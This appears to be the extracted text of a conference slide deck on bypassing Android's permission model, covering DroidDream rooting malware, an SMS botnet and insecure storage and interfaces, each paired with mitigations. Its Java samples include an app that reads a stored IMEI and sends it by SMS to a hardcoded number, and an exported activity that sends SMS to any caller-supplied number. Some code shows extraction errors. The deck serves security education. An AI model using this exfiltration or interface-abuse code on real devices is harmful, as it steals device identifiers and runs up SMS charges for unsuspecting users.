



Bypassing the Android Permission Model


Georgia Weidman
Founder and CEO, Bulb Security LLC



Is the permission model working?
Are users making good decisions?



Most Popular Android App





Demo

App abusing permissions

Demo explained

Permissions:

- Read IMEI
- Read Contacts
- Send SMS




We exploited every one of these




Rooting Android







Rooting Android for Evil (DroidDream)







DroidDream Permissions

INTERNET

READ_PHONE_STATE


CHANGE_WIFI_STATE

ACCESS_WIFI_STATE







DroidDream





DroidDream









DroidDream Rooting



Exploid CVE-2010-Easy (RageAgainsttheCage)



DroidDream Root Payload


- Permission model no longer applies
 - installed packages
 - All personal data
 - Send to C&C





Rooting Android





Demo

Demo: Malicious post root payload

Telephony Stack (Userspace)

Serial Line/ Modem Driver

Modem

Telephony Stack (Userspace)

BOT

Serial Line/ Modem Driver

Modem

Field	Value
Length of SMSC	07
Type of Address (SMSC)	91
Service Center Address (SMSC)	41 40 54 05 10 F1
SMS Deliver Info	04
Length of Sender Number	0B
Type of Sender Number	91
Sender Number	51 17 34 45 88 F1
Protocol Identifier	00
Data Coding Scheme	00
Time Stamp	01 21 03 71 40 04 4A
User Data Length	0A
User Data	E8 32 9B FD 46 97 D9 EC 37

How the Botnet Works

Bot Receives a Message

Bot Decodes User Data

Checks for Bot Key


Performs Functionality




Mitigation

- Users update their phones
- That means they need the updates pushed out

That means you third party platforms!!







Android Storage

- Sdcard
 - VFAT


- With apps
 - Only visible to app (default)
 - World readable

Demo

Exploiting bad storage practices

Demo Explained

- Stores sensitive data on the sdcard
- Sdcard is VFAT
- Everything is world readable



Demo Explained

- Discovers how the data is stored
- Accesses it
- Sends it to an attacker



Code Examples

Vulnerable Code Malicious Code

BadSaveFile

```
public class BadFileSaveActivity extends Activity {
   /** Called when the activity is first created. */
   @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        TextView tv = new TextView(this):
        String serviceName = Context.TELEPHONY_SERVICE;
        TelephonyManager m_telephonyManager = (TelephonyManager)
            qetSystemService(serviceName);
        String deviceID = m_telephonyManager.getDeviceId();
        File root = Environment.getExternalStorageDirectory();
        String filename = "IMEI";
        try {
            FileOutputStream f = new FileOutputStream(new File(root, filename
            f.write(deviceID.getBytes());
            f.close():
        } catch (Exception e) {
            e.printStackTrace();
```


BadSendFile


```
public class BadSendFileActivity extends Activity {
    /** Called when the activity is first created. */
   @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        TextView tv = new TextView(this):
        File root = Environment.getExternalStorageDirectory();
        String filename = "IMEI";
        trv {
            FileInputStream f = new FileInputStream(new File(root, filename))
            InputStreamReader inputreader = new InputStreamReader(f);
              BufferedReader buffreader = new BufferedReader(inputreader);
              String line:
              line = buffreader.readLine():
              f.close():
             SmsManager sm = SmsManager.getDefault();
               String message = "IMEI: " + line;
              String number = "16013831619";
               sm.sendTextMessage(number, null, message, null, null);
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
```


Wait? How do we get source code?

Winzip/7zip etc. dex2jar jd-gui

Whitepaper with more info: http://cdn01.exploit-db.com/wp-content/themes/exploit/docs/17717.pdf







Nonsensical Code

```
while (true)
       if (i < 0);
        String str;
        while (true)
         return;
         try
```

Mitigation

- Store information securely
 - Not on sdcard

Not in source code

Not world readable

Android Interfaces

Call other programs

Don't reinvent the wheel

Take a picture


Twitter from photo app

Demo

Exploiting open interface with SMS functionality

Demo Explained

- When it is called it sends an SMS
- Caller can set the number and message
- Sadly this is considered useful!



Demo Explained

- Calls the SMSBroadcastr
- Sends number and message
- Sends an SMS



Code Examples

Vulnerable Code Malicious Code

SMSBroadcastr

```
public class SMSbroadcastrActivity extends Activity {
    /** Called when the activity is first created. */
   @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        String message = "test";
        String number = "16013831619";
        Bundle extras = getIntent().getExtras();
        if (extras != null)
        message = extras.getString("message");
        number = extras.getString("number");
        if (message != null && number != null)
            SmsManager sm = SmsManager.getDefault();
            sm.sendTextMessage(number, null, message, null, null);
```

SMSIntent

Mitigations

Don't have dangerous functionality available in interfaces

Require user interaction (click ok)

Require-permission tag in manifest for interface

Contact

Georgia Weidman
georgiaweidman.com bulbsecurity.com
georgia@bulbsecurity.com
@georgiaweidman